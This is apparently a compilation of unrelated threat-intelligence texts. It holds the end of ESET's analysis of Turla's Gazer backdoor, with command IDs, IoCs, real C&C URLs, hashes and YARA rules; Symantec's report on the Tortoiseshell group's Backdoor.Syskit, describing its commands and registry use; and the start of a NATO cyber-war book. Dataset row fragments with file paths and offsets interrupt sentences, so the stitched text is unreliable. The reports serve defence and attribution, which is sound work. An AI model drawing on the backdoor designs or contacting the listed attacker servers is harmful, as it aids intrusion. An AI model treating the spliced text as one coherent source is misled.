The error code will be added to the logfile.
CMC_TAKE_UNINSTALL (ID_CMD: 8) Used to wipe a file from the disk.
CMC_TAKE_NOP (ID_CMD: 9) No operation CMC_NO_CONNECT_TO_GAZER (ID_CMD: 0xA) This command is sent to the orchestrator when the communication module cannot contact any of the servers.
In this case, if a pending tasks results are in the queue, they are stored encrypted in Gazers storage.
CMC_TAKE_LAST_CONNECTION (ID_CMD: 0xB) This command is sent from the communication module to the orchestrator each time a connection is established to the CC server.
It contains a structure SystemTime (filled with the current system time).
Once the message is received by the orchestrator, the last connection date is stored compressed and encrypted in the Gazer storage (either the registry or ADS).
CMC_GIVE_CACHE / CMC_TAKE_CACHE (ID_CMD: 0xC / 0xD) Not implemented Gazing at Gazer Turlas new second stage backdoor 20 Gazer verSIonS Four different versions have been identified.
In the first version, the function used to write logs has as its parameter the real function name where the log occurs.
There were also different methods used to inject code (the one documented in this whitepaper and one based on window injection).
In a second version, the function names used as parameters are replaced by an ID and only one method is used for code injection.
Also, the string NO OLD METHODS appears in this part of the code.
Some samples from the first versions were signed with a valid certificate issued by Comodo for Solid Loop Ltd.
The compilation date appears to be 2002 but is likely to be faked because the certificate was issued in 2015.
The latest versions are signed with a different certificate: Ultimate Computer Support Ltd.
Figure 4.
Certificates used to sign the malware variants Some efforts have been made to obfuscate strings that can be used as IoCs.
The mutex name and the named pipe do not appear in cleartext anymore they are now encoded with a XOR key.
On the previous versions, the logfile names were hardcoded in the binary.
The function GetTempFileNameA is now used to generate a random filename.
The CC server returns a 404 or 502 status code page, whereas it was only a 404 in the previous versions.
In the latest versions compiled in 2017, the log messages are different (although they have the same meaning).
For example: PE STORAGE is replaced by EXE SHELTER, PE CRYPTO by EXE CIPHER etc Last but not least, the compilation timestamp seems not to be faked anymore.
In conclusion, Gazer is a very sophisticated piece of malware that has been used against different targets in several countries around the world.
Through the different versions we found and analyzed, we can see that this malicious backdoor is still being actively developed and used by its creators.
Indicators of Compromise can also be found on github.
For any inquiries, or to make sample submissions related to the subject, contact us at: threatinteleset.com.
https://github.com/eset/malware-ioc/tree/master/turla mailto:threatinteleset.com Gazing at Gazer Turlas new second stage backdoor 21 IoCS Filenames TEMP\KB943729.log TEMP\CVRG72B5.tmp.cvr TEMP\CVRG1A6B.tmp.cvr TEMP\CVRG38D9.tmp.cvr TEMP\DF1E06.tmp HOMEPATH\ntuser.dat.
LOG3 HOMEPATH\AppData\Local\Adobe\AdobeUpdater.exe Registry keys HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ScreenSaver HKCU\Software\Microsoft\Windows NT\CurrentVersion\Explorer\ScreenSaver CC URLs daybreakhealthcare.co.uk/wp-includes/themees.php simplecreative.design/wp-content/plugins/calculated-fields-form/single.php 169.255.137.203/rss_0.php outletpiumini.springwaterfeatures.com/wp-includes/pomo/settings.php zerogov.com/wp-content/plugins.deactivate/paypal-donations/src/PaypalDonations/SimpleSubsribe.
php ales.ball-mill.es/ckfinder/core/connector/php/php4/CommandHandler/CommandHandler.php dyskurs.com.ua/wp-admin/includes/map-menu.php warrixmalaysia.com.my/wp-content/plugins/jetpack/modules/contact-form/grunion-table-form.php 217.171.86.137/config.php 217.171.86.137/rss_0.php shinestars-lifestyle.com/old_shinstar/includes/old/front_footer.old.php www.aviasiya.com/murad.by/life/wp-content/plugins/wp-accounting/inc/pages/page-search.php baby.greenweb.co.il/wp-content/themes/san-kloud/admin.php soligro.com/wp-includes/pomo/db.php giadinhvabe.net/wp-content/themes/viettemp/out/css/class.php tekfordummies.com/wp-content/plugins/social-auto-poster/includes/libraries/delicious/Delicious.php kennynguyen.esy.es/wp-content/plugins/wp-statistics/vendor/maxmind-db/reader/tests/MaxMind/Db/ test/Reader/BuildTest.php sonneteck.com/wp-content/plugins/yith-woocommerce-wishlist/plugin-fw/licence/templates/panel/ activation/activation.php chagiocaxuanson.esy.es/wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/ ngglegacy/admin/templates/manage_gallery/gallery_preview_page_field.old.php hotnews.16mb.com/wp-content/themes/twentysixteen/template-parts/content-header.php zszinhyosz.pe.hu/wp-content/themes/twentyfourteen/page-templates/full-hight.php weandcats.com/wp-content/plugins/broken-link-checker/modules/checkers/http-module.php Mutexes 531511FA-190D-5D85-8A4A-279F2F592CC7 Gazing at Gazer Turlas new second stage backdoor 22 Hashes Table 6.
Gazer sample hashes SHA1 hash Component Compilation Time Certificate Eset Detection Name 27FA78DE705EbAA4b11C4b5FE7277F91906b3F92 Gazer wiper x32 07/04/2016 15:04:24 not signed Win32/Turla.
CL 35F205367E2E5F8A121925bbAE6FF07626b526A7 Gazer loader x32 05/02/2002 17:36:10 adminsolidloop.org valid from 14/10/2015 to 14/10/2016 Win32/Turla.
CC b151CD7C4F9E53A8DCbDEb7CE61CCDD146Eb68Ab Gazer loader x32 05/02/2002 17:36:10 adminsolidloop.org valid from 14/10/2015 to 14/10/2016 Win32/Turla.
CC E40bb5bEEC5678537E8FE537F872b2AD6b77E08A Gazer loader x32 05/02/2002 17:36:10 adminsolidloop.org valid from 14/10/2015 to 14/10/2016 Win32/Turla.
CC 522E5F02C06AD215C9D0C23C5A6A523D34AE4E91 Gazer loader x64 05/02/2002 17:36:26 adminsolidloop.org valid from 14/10/2015 to 14/10/2016 Win64/Turla.
AA C380038A57FFb8C064851b898F630312FAbCbbA7 Gazer loader x64 05/02/2002 17:36:26 adminsolidloop.org valid from 14/10/2015 to 14/10/2016 Win64/Turla.
AA 267F144D771b4E2832798485108DECD505Cb824A Gazer loader x64 05/02/2002 17:36:26 adminsolidloop.org valid from 14/10/2015 to 14/10/2016 Win64/Turla.
AA 52F6D09CCCDbC38D66C184521E7CCF6b28C4b4D9 Gazer loader x32 04/10/2002 18:31:37 adminsolidloop.org valid from 14/10/2015 to 14/10/2016 Win32/Turla.
CC 475C59744ACCb09724DAE610763b7284646Ab63F Gazer loader x32 04/10/2002 18:31:37 adminsolidloop.org valid from 14/10/2015 to 14/10/2016 Win32/Turla.
CC 22542A3245D52b7bCDb3EAEF5b8b2693F451F497 Gazer loader x32 04/10/2002 18:31:37 adminsolidloop.org valid from 14/10/2015 to 14/10/2016 Win32/Turla.
CC 2b9FAA8b0FCADAC710C7b2b93D492FF1028b5291 Gazer loader x64 04/10/2002 18:34:18 adminsolidloop.org valid from 14/10/2015 to 14/10/2016 Win64/Turla.
AA E05Ab6978C17724b7C874F44F8A6CbFb1C56418D Gazer loader x64 04/10/2002 18:34:18 adminsolidloop.org valid from 14/10/2015 to 14/10/2016 Win64/Turla.
AA 6DEC3438D212b67356200bbAC5EC7FA41C716D86 Gazer loader x64 04/10/2002 18:34:18 adminsolidloop.org valid from 14/10/2015 to 14/10/2016 Win64/Turla.
AA b548863DF838069455A76D2A63327434C02D0D9D Gazer loader x64 09/01/2016 19:30:10 not signed Win64/Turla.
AA C3E6511377DFE85A34E19b33575870DDA8884C3C Gazer loader x64 06/02/2016 19:29:15 admin ultimatecomsup.biz valid from 16/12/2015 to 16/12/2017 Win64/Turla.
AA 9FF4F59CA26388C37D0b1F0E0b22322D926E294A Gazer loader x64 16/02/2016 16:00:44 admin ultimatecomsup.biz valid from 16/12/2015 to 16/12/2017 Win64/Turla.
AA mailto:adminsolidloop.org mailto:adminsolidloop.org mailto:adminsolidloop.org mailto:adminsolidloop.org mailto:adminsolidloop.org mailto:adminsolidloop.org mailto:adminsolidloop.org mailto:adminsolidloop.org mailto:adminsolidloop.org mailto:adminsolidloop.org mailto:adminsolidloop.org mailto:adminsolidloop.org mailto:adminultimatecomsup.biz mailto:adminultimatecomsup.biz mailto:adminultimatecomsup.biz mailto:adminultimatecomsup.biz Gazing at Gazer Turlas new second stage backdoor 23 SHA1 hash Component Compilation Time Certificate Eset Detection Name 029AA51549D0b9222Db49A53D2604D79AD1C1E59 Gazer loader x64 18/02/2016 15:29:58 admin ultimatecomsup.biz valid from 16/12/2015 to 16/12/2017 Win64/Turla.
AA CECC70F2b2D50269191336219A8F893D45F5E979 Gazer loader x64 01/01/2017 08:39:30 admin ultimatecomsup.biz valid from 16/12/2015 to 16/12/2017 Win64/Turla.
AG 7FAC4FC130637AFAb31C56CE0A01E555D5DEA40D Gazer loader x64 11/06/2017 23:43:51 admin ultimatecomsup.biz valid from 16/12/2015 to 16/12/2017 Win64/Turla.
AD 5838A51426CA6095b1C92b87E1bE22276C21A044 Gazer loader x32 19/06/2017 01:28:51 admin ultimatecomsup.biz valid from 16/12/2015 to 16/12/2017 Win32/Turla.
CF 3944253F6b7019EED496FAD756F4651bE0E282b4 Gazer loader x64 19/06/2017 01:30:00 admin ultimatecomsup.biz valid from 16/12/2015 to 16/12/2017 Win64/Turla.
AD 228DA957A9ED661E17E00EFbA8E923FD17FAE054 Gazer orchestrator x32 05/02/2002 17:31:28 not signed Win32/Turla.
CF 295D142A7bDCED124FDCC8EDFE49b9F3ACCEAb8A Gazer orchestrator x32 05/02/2002 17:31:28 not signed Win32/Turla.
CF 0F97F599FAb7F8057424340C246D3A836C141782 Gazer orchestrator x32 05/02/2002 17:31:28 not signed Win32/Turla.
CF Dbb185E493A0FDC959763533D86D73F986409F1b Gazer orchestrator x32 05/02/2002 17:31:28 not signed Win32/Turla.
CC 4701828DEE543b994ED2578b9E0D3991F22bD827 Gazer orchestrator x64 05/02/2002 17:34:25 not signed Win64/Turla.
AA 6FD611667bA19691958b5b72673b9b802EDD7FF8 Gazer orchestrator x64 05/02/2002 17:34:25 not signed Win64/Turla.
AA FCAbEb735C51E2b8Eb6Fb07bDA8b95401D069bD8 Gazer orchestrator x64 05/02/2002 17:34:25 not signed Win64/Turla.
AA 75831DF9CbCFD7bF812511148D2A0F117324A75F Gazer orchestrator x32 04/10/2002 18:31:28 not signed Win32/Turla.
CC bAE3AE65C32838Fb52A0F5AD2CDE8659D2bFF9F3 Gazer orchestrator x32 04/10/2002 18:31:28 not signed Win32/Turla.
CC 37FF6841419ADC51EEb8756660b2Fb46F3Eb24ED Gazer orchestrator x64 04/10/2002 18:33:02 not signed Win64/Turla.
AA 9E6DE3577b463451b7AFCE24Ab646EF62AD6C2bD Gazer orchestrator x64 04/10/2002 18:33:02 not signed Win64/Turla.
AA 795C6EE27b147FF0A05C0477F70477E315916E0E Gazer orchestrator x64 04/10/2002 18:33:02 not signed Win64/Turla.
AA 8184AD9D6bbD03E99A397F8E925FA66CFbE5CF1b Gazer orchestrator x64 09/01/2016 19:28:29 not signed Win64/Turla.
AA 7CED96b08D7593E28FEE616ECCbC6338896517CF Gazer orchestrator x64 06/02/2016 19:29:04 not signed Win64/Turla.
AA 63C534630C2CE0070AD203F9704F1526E83AE586 Gazer orchestrator x64 06/02/2016 19:29:04 not signed Win64/Turla.
AA 23F1E3bE3175D49E7b262CD88CFD517694DCbA18 Gazer orchestrator x64 18/02/2016 15:29:32 not signed Win64/Turla.
AA mailto:adminultimatecomsup.biz mailto:adminultimatecomsup.biz mailto:adminultimatecomsup.biz mailto:adminultimatecomsup.biz mailto:adminultimatecomsup.biz mailto:adminultimatecomsup.biz mailto:adminultimatecomsup.biz mailto:adminultimatecomsup.biz mailto:adminultimatecomsup.biz mailto:adminultimatecomsup.biz Gazing at Gazer Turlas new second stage backdoor 24 SHA1 hash Component Compilation Time Certificate Eset Detection Name 7A6F1486269AbDC1D658Db618DC3C6F2AC85A4A7 Gazer orchestrator x64 01/01/2017 08:39:19 not signed Win64/Turla.
AG 11b35320Fb1CF21D2E57770D8D8b237Eb4330EAA Gazer orchestrator x64 11/06/2017 23:42:28 not signed Win64/Turla.
AD E8A2bAD87027F2bF3ECAE477F805DE13FCCC0181 Gazer orchestrator x32 19/06/2017 01:28:21 not signed Win32/Turla.
CF 950F0b0C7701835C5FbDb6C5698A04b8AFE068E6 Gazer orchestrator x64 19/06/2017 01:29:46 not signed Win64/Turla.
AD A5EEC8C6AADF784994bF68D9D937bb7AF3684D5C Gazer comm x64 05/02/2002 17:57:07 adminsolidloop.org valid from 14/10/2015 to 14/10/2016 Win64/Turla.
AH 411EF895FE8DD4E040E8bF4048F4327F917E5724 Gazer comm x32 05/02/2002 17:58:22 adminsolidloop.org valid from 14/10/2015 to 14/10/2016 Win32/Turla.
CC C1288DF9022bCD2C0A217b1536DFA83928768D06 Gazer comm x32 06/02/2016 19:23:52 not signed Win32/Turla.
CC 4b6EF62D5D59F2FE7F245DD3042DC7b83E3CC923 Gazer comm x32 11/06/2017 23:44:24 not signed Win32/Turla.
CF 7F54F9F2A6909062988AE87C1337F3CF38D68D35 Gazer wiper x32 05/02/2002 17:39:07 adminsolidloop.org valid from 14/10/2015 to 14/10/2016 Win32/Turla.
CL mailto:adminsolidloop.org mailto:adminsolidloop.org mailto:adminsolidloop.org Gazing at Gazer Turlas new second stage backdoor 25 appendICeS Function names There are a few samples of Gazer that use the current function name as first parameter for the log function.
Here is a list of some function names used in Gazer: AutorunManager Class AutorunManager::AutorunManger AutorunManager::Init AutorunManger::ReInit AutorunManager::BuildAutorunSettings AutorunManager::FreeAutorunsSettings AutorunManager::FullCheck AutorunManager::StartAutorunEx AutorunManager::FullStart HiddenTaskAutorun Class HiddenTaskAutorun::IsPathsEqual LinkAutorun Class LinkAutorunClass::InfectLnkFile LinkAutorunClass::ClearLnkFile LinkAutorunClass::CheckLnkFile RemoteImport32 Class RemoteImport32::RemoteImport32 RemoteImport32::GetRemoteProcAddress RemoteImport32::GetRemoteModuleHandle ScreenSaverAutorun Class ScreenSaverAutorun::ChangeScreenSaver ScreenSaverAutorun::WndProc1 ScreenSaverAutorun::GetMessageThreadProc ScreenSaverAutorun::CreateHiddenWindow ScreenSaverAutorun::CloseHiddenWindow ShellAutorun Class ShellAutorun::AutorunInstallEx ShellAutorun::AutorunUninstallEx ShellAutorun::AutorunCheckEx ShellAutorun::IsPathsEqual StartupAutorun Class StartupAutorun::AutorunInstallEx StartupAutorun::AutorunUninstallEx StartupAutorun::AutorunCheckEx StartupAutorun::IsPathsEqual TaskScheduler20Autorun Class TaskScheduler20Autorun::Init TaskScheduler20Autorun::AutorunCheckEx TaskScheduler20Autorun::AutorunInstallEx TaskScheduler20Autorun::AutorunUninstallEx TaskScheduler20Autorun::IsPathsEqual Gazing at Gazer Turlas new second stage backdoor 26 DllInjector Class DllInjector::LoadDllToProcess DllInjector::GetProcHandle DllInjector::CheckDllAndSetPlatform DllInjector::CopyDllFromBuffer DllInjector::MapLibrary DllInjector::Map86Library_tox64 DllInjector::CallEntryPoint DllInjector::FindDllImageBase DllInjector::WindowInject InjectManager Class InjectManager::InjectManager InjectManager::BuildInjectSettingsList InjectManager::FreeInjectSettingsList InjectManager::Stop InjectManager::DetachAll InjectManager::FindAndInjectInVictim InjectManager::FindProcessSimple2 InjectManager::LoadNtdll InjectManager::UnLoadNtdll InjectManager::LoadWinsta InjectManager::UnLoadWinsta InjectManager::SetStatusTransportDll InjectManager::GetTransportState InjectManager::DestroyManuallyCreatedVictim InjectManager::VictimManualCreateIE TNPTransport Class TNPTransport::Init TNPTransport::ReInit TNPTransport::TNPTransport TNPTransport::Receive TNPTransport::RunServer TNPTransport::ServerProc ExeStorage Class ExeStorage::Migrate ExeStorage::SecureHeapFree FSStorage Class FSStorage::FSStorage FSStorage::Init FSStorage::GetBlock FSStorage::GetListBlock FSStorage::Migrate FSStorage::SecureHeapFree FSStorage::Update FSStorage::Empty RegStorage Class RegStorage::RegStorage RegStorage::Init RegStorage::FreeList Gazing at Gazer Turlas new second stage backdoor 27 RegStorage::GetListBlock RegStorage::DeleteListBlock RegStorage::Migrate RegStorage::SecureHeapFree RegStorage::Update RegStorage::Empty ResultQueue Class ResultQueue::ResultQueue ResultQueue::DumpQueueToStorage ResultQueue::RestoreFromStorage ResultQueue::ClearQueue ResultQueue::RemoveResult ResultQueue::GetNextResultToSendWithModule ResultQueue::SetPredeterminedResult ResultQueue::print TaskQueue Class TaskQueue::TaskQueue TaskQueue::DumpQueueToStorage TaskQueue::RestoreFromStorage TaskQueue::ClearQueue TaskQueue::RemoveCompletedTasks TaskQueue::print CExecutionSubsystem Class CExecutionSubsystem::CExecutionSubsystem CExecutionSubsystem::Stop CExecutionSubsystem::TaskExecusion CExecutionSubsystem::TaskConfigure CExecutionSubsystem::TaskUpload CExecutionSubsystem::TaskDownload CExecutionSubsystem::TaskReplacement CExecutionSubsystem::TaskDelete CExecutionSubsystem::TaskPacketLocalTransport CExecutionSubsystem::FinishTask CExecutionSubsystem::PushTaskResult CExecutionSubsystem::UpdateStorage CMessageProcessingSystem Class CMessageProcessingSystem::CMessageProcessing CMessageProcessingSystem::ListenerCallBack CMessageProcessingSystem::WaitShutdownModule CMessageProcessingSystem::SetCompulsorySMC CMessageProcessingSystem::UnSetCompulsorySMC CMessageProcessingSystem::IsCompulsorySMC CMessageProcessingSystem::GetCompulsorySMC CMessageProcessingSystem::Receive_TAKE_NOP CMessageProcessingSystem::Receive_GIVE_SETTINGS CMessageProcessingSystem::Receive_TAKE_CAN_NOT_WORK CMessageProcessingSystem::Receive_GIVE_CACHE CMessageProcessingSystem::Receive_TAKE_CACHE CMessageProcessingSystem::Receive_TAKE_TASK CMessageProcessingSystem::Receive_GIVE_RESULT Gazing at Gazer Turlas new second stage backdoor 28 CMessageProcessingSystem::Receive_TAKE_CONFIRM_RESULT CMessageProcessingSystem::Receive_TAKE_LOADER_BODY CMessageProcessingSystem::Receive_TAKE_UNINSTALL CMessageProcessingSystem::Receive_NO_CONNECT_TO_Gazer CMessageProcessingSystem::Receive_TAKE_LAST_CONNECTION CMessageProcessingSystem::Send_TAKE_FIN CMessageProcessingSystem::Send_TAKE_SHUTDOWN CMessageProcessingSystem::Send_TAKE_SETTINGS CMessageProcessingSystem::Send_TAKE_RESULT Crypto Class Crypto::GetPublicKey Crypto::EncryptRSA Crypto::Sign Crypto::EncryptAndSignBufferRSAEx Crypto::DecryptRSA Crypto::Verify Crypto::DecryptAndVerifyBufferRSAEx Crypto::EncryptAndSignBufferRSA1 Crypto::EncryptAndSignBufferRSAC Crypto::DecryptAndVerifyBufferRSA0 Crypto::DecryptAndVerifyBufferRSA1 Crypto::DecryptAndVerifyBufferRSAL Crypto::VerifyLoaderFile Crypto::VerifyLoader Crypto::CompressBuffer Crypto::DecompressBuffer LTManager Class LTManager::LTManager LTManager::Init LTManager::GetResultFromQueue LTManager::SetResultToCache LTManager::GetTaskFromCache LTManager::SetTaskToQueue LTManager::IsSendPacketFurtherOnRoute LTManager::SendPacketNextRouteUnit LTManager::SetCache LTManager::SetPacket LTManager::DumpCacheToStorage LTManager::DeSerializeCache LTManager::DeSerializePacket LTManager::DeSerializeRoute LTManager::DeSerializeTask LTManager::DeSerializeResult LTManager::SerializeCache LTManager::SerializePacket LTManager::SerialiazeRoute LTManager::SerializeTask LTManager::SerializeResult LTManager::ClearCache LTManager::ClearPacket LTManager::ClearRoute Gazing at Gazer Turlas new second stage backdoor 29 LTManager::ClearTask LTManager::ClearResult LTManager::PrintCache LTManager::CreateEvents LTManager::SetEvents LTManager::ResetEvents LTManager::WaitEvents LTManager::DeleteEvents LTMessageProcessing Class LTMessageProcessing::ListenerCallBack LTMessageProcessing::Send_TAKE_OK LTMessageProcessing::Send_TAKE_ERROR_CRYPT LTMessageProcessing::Send_TAKE_ERROR_UNKNOWN LTNamedPipe Class LTNamedPipe::ReInit LTNamedPipe::BuildLocalTransportSettings LTNamedPipe::LTNamedPipe LTNamedPipe::Receive LTNamedPipe::RunServer LTNamedPipe::Stop LTNamedPipe::CreateNewNPInstance LTNamedPipe::ServerProc LTNamedPipe::ClientCommunication Yara rules import pe import math import hash rule Gazer_certificate_subject condition: for any i in (0..pe.number_of_signatures - 1): (pe.signatures[i].subject contains Solid Loop or pe.signatures[i].subject contains Ultimate Computer Support) rule Gazer_certificate strings: certif1 52 76 a4 53 cd 70 9c 18 da 65 15 7e 5f 1f de 02 certif2 12 90 f2 41 d9 b2 80 af 77 fc da 12 c6 b4 96 9c condition: (uint16(0) 0x5a4d) and 1 of them and filesize 2MB rule Gazer_logfile_name strings: s1 CVRG72B5.tmp.cvr s2 CVRG1A6B.tmp.cvr s3 CVRG38D9.tmp.cvr condition: (uint16(0) 0x5a4d) and 1 of them _GoBack Table 1.Abstract Class Autorun Table 2.Abstract Class Queue Table 3.Abstract Class Storage Table 4.Abstract Class TListenerInterface Table 5.Abstract Class TAbstractTransport Table 6.Gazer sample hashes Figure 1.Turla authors sense of humor Figure 2.Gazer architecture Figure 3.Message format Figure 4.Certificates used to sign the malware variants
Tortoiseshell Group Targets IT Providers in Saudi Arabia in Probable Supply Chain Attacks symantec.com/blogs/threat-intelligence/tortoiseshell-apt-supply-chain A previously undocumented attack group is using both custom and off-the-shelf malware to target IT providers in Saudi Arabia in what appear to be supply chain attacks with the end goal of compromising the IT providers customers.
The group, which we are calling Tortoiseshell, has been active since at least July 2018.
Symantec has identified a total of 11 organizations hit by the group, the majority of which are based in Saudi Arabia.
In at least two organizations, evidence suggests that the attackers gained domain admin-level access.
Tortoiseshell group uses custom malware, off-the-shelf tools, livingofftheland techniques to compromise victims https://symc.ly/2lV4Ovn Another notable element of this attack is that, on two of the compromised networks, several hundred computers were infected with malware.
This is an unusually large number of computers to be compromised in a targeted attack.
It is possible that the attackers were forced to infect many machines before finding those that were of most interest to them.
We have seen Tortoiseshell activity as recently as July 2019.
Custom tools 1/5 https://www.symantec.com/blogs/threat-intelligence/tortoiseshell-apt-supply-chain The unique component used by Tortoiseshell is a malware called Backdoor.
Syskit.
This is a basic backdoor that can download and execute additional tools and commands.
The actors behind it have developed it in both Delphi and .NET.
|
83
|
Backdoor.
| 19,870
| 19,904
| 35
|
data/reports_final/0083.txt
|
Backdoor.
Syskit is run with the -install parameter to install itself.
There are a number of minor variations of the backdoor, but the primary functionality is the following: reads config file: Windir\temp\rconfig.xml writes Base64 encoding of AES encrypted (with key fromhere) version of the data in the url element of the XML to: HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\policies\system\Enablevmd This contains the command and control (CC) information.
writes Base64 encoding of AES encrypted (with key fromhere) version of the result element of the XML to: HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\policies\system\Sendvmd This holds the later portion of the URL to append to the CC for sending information to it.
deletes the config file The malware collects and sends the machines IP address, operating system name and version, and Mac address to the CC server using the URL in the Sendvmd registry key mentioned above.
Data sent to the CC server is Base64 encoded.
The backdoor can receive various commands: kill_me: stops the dllhost service and deletes Windir\temp\bak.exe upload downloads from the URL provided by the CC server unzip uses PowerShell to unzip a specified file to a specified destination, or to run cmd.exe /c received command Tools, techniques, and procedures The other tools used by the group are public tools, and include: Infostealer/Sha.exe/Sha432.exe Infostealer/stereoversioncontrol.exe get-logon-history.ps1 2/5 https://www.symantec.com/content/symantec/english/en/security-center/writeup.html/2019-082613-5549-99 Infostealer/stereoversioncontrol.exe downloads a RAR file, as well as the get-logon- history.ps1 tool.
It runs several commands on the infected machine to gather information about it and also the Firefox data of all users of the machine.
It then compresses this information before transferring it to a remote directory.
Infostealer/Sha.exe/Sha432.exe operates in a similar manner, gathering information about the infected machine.
We also saw Tortoiseshell using other dumping tools and PowerShell backdoors.
The initial infection vector used by Tortoiseshell to get onto infected machines has not been confirmed, but it is possible that, in one instance, a web server was compromised to gain access by the attacker.
For at least one victim, the first indication of malware on their network was a web shell (d9ac9c950e5495c9005b04843a40f01fa49d5fd49226cb5b03a055232ffc36f3).
This indicates that the attackers likely compromised a web server, and then used this to deploy malware onto the network.
This activity indicates the attackers had achieved domain admin level access on these networks, meaning they had access to all machines on the network.
Once on a victim computer, Tortoiseshell deploys several information gathering tools, like those mentioned above, and retrieves a range of information about the machine, such as IP configuration, running applications, system information, network connectivity etc.
On at least two victim networks, Tortoiseshell deployed its information gathering tools to the Netlogon folder on a domain controller.
This results in the information gathering tools being executed automatically when a client computer logs into the domain.
This activity indicates the attackers had achieved domain admin level access on these networks, meaning they had access to all machines on the network.
Presence of OilRig tools In one victim organization, we also saw a tool called Poison Frog deployed one month prior to the Tortoiseshell tools.
Poison Frog is a backdoor and a variant of a tool called BondUpdater, which was previously seen used in attacks on organizations in the Middle East.
The tools were leaked on Telegram in April this year and are associated with the group known as APT34, aka Oilrig.
It is unclear if the same actor deployed both the Poison Frog tool and the Tortoiseshell tools, however, given the gap in time between the two sets of tools being used, and without further evidence, the current assumption is that the activity is unrelated.
If that is the case, this activity demonstrates the interest from multiple attack groups in industries in this region.
The Poison Frog tool also appears to have been leaked prior to deployment to this victim, so could be used by a group unrelated to APT34/Oilrig.
3/5 https://www.zdnet.com/article/source-code-of-iranian-cyber-espionage-tools-leaked-on-telegram/ Attacker motives The targeting of IT providers points strongly to these attacks being supply chain attacks, with the likely end goal being to gain access to the networks of some of the IT providers customers.
Supply chain attacks have been increasing in recent years, with a 78 percent increase in 2018, as we covered in ISTR 24.
Supply chain attacks, which exploit third-party services and software to compromise a final target, take many forms, including hijacking software updates and injecting malicious code into legitimate software.
IT providers are an ideal target for attackers given their high level of access to their clients computers.
This access may give them the ability to send malicious software updates to target machines, and may even provide them with remote access to customer machines.
This provides access to the victims networks without having to compromise the networks themselves, which might not be possible if the intended victims have strong security infrastructure, and also reduces the risk of the attack being discovered.
The targeting of a third-party service provider also makes it harder to pinpoint who the attackers true intended targets were.
The customer profiles of the targeted IT companies are unknown, but Tortoiseshell is not the first group to target organizations in the Middle East, as we have covered in previous blogs.
However, we currently have no evidence that would allow us to attribute Tortoiseshells activity to any existing known group or nation state.
Protection/Mitigation The following protections are also in place to protect customers against Tortoiseshell activity: Backdoor.
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84
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Syskit Indicators of Compromise SHA256 Name f71732f997c53fa45eef5c988697eb4aa62c8655d8f0be3268636fc23addd193 Backdoor.
| 19,905
| 20,989
| 1,085
|
data/reports_final/0084.txt
|
Syskit Indicators of Compromise SHA256 Name f71732f997c53fa45eef5c988697eb4aa62c8655d8f0be3268636fc23addd193 Backdoor.
Syskit 02a3296238a3d127a2e517f4949d31914c15d96726fb4902322c065153b364b2 Backdoor.
Syskit 07d123364d8d04e3fe0bfa4e0e23ddc7050ef039602ecd72baed70e6553c3ae4 Backdoor.
Syskit Backdoor.
Syskit CC servers 64.235.60.123 64.235.39.45 4/5 https://www.symantec.com/blogs/threat-intelligence/istr-24-cyber-security-threat-landscape https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage https://www.symantec.com/content/symantec/english/en/security-center/writeup.html/2019-082613-5549-99 Backdoor.
Syskit CC servers The Attack Investigation Team is a group of security experts within Symantec Security Response whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis which helps customers respond to attacks.
5/5 Tortoiseshell Group Targets IT Providers in Saudi Arabia in Probable Supply Chain Attacks Custom tools Tools, techniques, and procedures Presence of OilRig tools Attacker motives Protection/Mitigation Indicators of Compromise
cyber war in perspective: russian aggression against ukraine Cyber War in Perspective: Russian Aggression against Ukraine Edited by Kenneth Geers This publication may be cited as: Kenneth Geers (Ed.
),
Cyber War in Perspective: Russian Aggression against Ukraine, NATO CCD COE Publications, Tallinn 2015.
2015 by NATO Cooperative Cyber Defence Centre of Excellence.
All rights reserved.
No part of this publication may be reprinted, reproduced, stored in a retrieval system or transmitted in any form or by any means, electronic, mechanical, photocopying, recording or otherwise, without the prior written permission of the NATO Cooperative Cyber Defence Centre of Excellence (publicationsccdcoe.org).
This restriction does not apply to making digital or hard copies of this publication for internal use within NATO, and for personal or educational use when for non-profit or non-commercial purposes, providing that copies bear a full citation.
NATO CCD COE Publications Filtri tee 12, 10132 Tallinn, Estonia Phone: 372 717 6800 Fax: 372 717 6308 E-mail: publicationsccdcoe.org Web: www.ccdcoe.org LEGAL NOTICE This publication is a product of the NATO Cooperative Cyber Defence Centre of Excellence (the Centre).
It does not necessarily reflect the policy or the opinion of the Centre or NATO.
The Centre may not be held responsible for any loss or harm arising from the use of information contained in this publication and is not responsible for the content of the external sources, including external websites referenced in this publication.
Print: EVG Print Cover design content layout: Villu Koskaru ISBN 978-9949-9544-4-5 (print) ISBN 978-9949-9544-5-2 (pdf) mailto:publicationsccdcoe.org http://www.ccdcoe.org NATO Cooperative Cyber Defence Centre of Excellence The Tallinn-based NATO Cooperative Cyber Defence Centre of Excel- lence (NATO CCD COE) is a NATO-accredited knowledge hub, think-tank and training facility.
The international military organisa- tion focuses on interdisciplinary applied research and development, as well as consultations, trainings and exercises in the field of cyber security.
The Centres mission is to enhance capability, cooperation and information-sharing between NATO, Allies and partners in cyber defence.
Membership of the Centre is open to all Allies.
The Czech Republic, Estonia, France, Germany, Greece, Hungary, Italy, Latvia, Lithuania, the Netherlands, Poland, Slovakia, Spain, Turkey, the United Kingdom and the USA have signed on as sponsoring nations.
Austria and Fin- land have joined the Centre as contributing participants.
The Centre is funded and staffed by these member nations.
6 Contents Foreword ................................................................................................................. 8 Key Events .............................................................................................................10 1.
Introduction: Cyber War in Perspective Kenneth Geers, NATO CCD COE / Atlantic Council / Taras Shevchenko National University of Kyiv ................................................13 Strategic Framework 2.
Russia and Its Neighbours: Old Attitudes, New Capabilities Keir Giles, Conflict Studies Research Centre .................................................19 3.
Cyber War and Strategic Culture: The Russian Integration of Cyber Power into Grand Strategy James J. Wirtz, Naval Postgraduate School .....................................................29 4.
Compelling Opponents to Our Will: The Role of Cyber Warfare in Ukraine James A. Lewis, Centre for Strategic and International Studies (CSIS) ......39 5.
The Cyber War that Wasnt Martin Libicki, RAND ......................................................................................49 Tactical Viewpoints 6.
Revolution Hacking Nikolay Koval, CyS Centrum LLC ...................................................................55 7.
Cyber Operations at Maidan: A First-Hand Account Glib Pakharenko, ISACA Kyiv .........................................................................59 8.
Beyond Cyber War: Russias Use of Strategic Cyber Espionage and Information Operations in Ukraine Jen Weedon, FireEye ..........................................................................................67 9.
